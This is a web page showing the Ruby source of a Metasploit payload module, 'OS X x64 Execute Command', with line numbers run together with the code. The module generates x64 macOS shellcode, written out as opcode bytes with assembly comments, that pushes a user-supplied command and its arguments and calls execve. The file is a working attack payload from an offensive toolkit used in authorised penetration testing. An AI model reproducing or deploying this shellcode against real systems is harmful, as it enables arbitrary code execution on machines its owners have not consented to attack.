Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/x64/exec.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 3189include Msf::Payload::Single1011def initialize(info = {})12super(merge_info(info,13'Name' => 'OS X x64 Execute Command',14'Description' => 'Execute an arbitrary command',15'Author' => [ 'argp <argp[at]census-labs.com>',16'joev' ],17'License' => MSF_LICENSE,18'Platform' => 'osx',19'Arch' => ARCH_X6420))2122# exec payload options23register_options([24OptString.new('CMD', [ true, "The command string to execute" ])25])26end2728# build the shellcode payload dynamically based on the user-provided CMD29def generate(_opts = {})30cmd_str = datastore['CMD'] || ''31# Split the cmd string into arg chunks32cmd_parts = Shellwords.shellsplit(cmd_str)33cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact34arg_str = cmd_parts.map { |a| "#{a}\x00" }.join35call = "\xe8" + [arg_str.length].pack('V')36payload =37"\x48\x31\xd2"+ # xor rdx, rdx38call + # call CMD.len39arg_str + # CMD40"\x5f" + # pop rdi41if cmd_parts.length > 142"\x48\x89\xf9" + # mov rcx, rdi43"\x52" + # push rdx (null)44# for each arg, push its current memory location on to the stack45cmd_parts[1..-1].each_with_index.map do |arg, idx|46"\x48\x81\xc1" + # add rcx + ...47[cmd_parts[idx].length+1].pack('V') + #48"\x51" # push rcx (build str array)49end.join50else51"\x52" # push rdx (null)52end +53"\x57"+ # push rdi54"\x48\x89\xe6"+ # mov rsi, rsp55"\x48\xc7\xc0\x3b\x00\x00\x02" + # mov rax, 0x200003b (execve)56"\x0f\x05" # syscall57end58end596061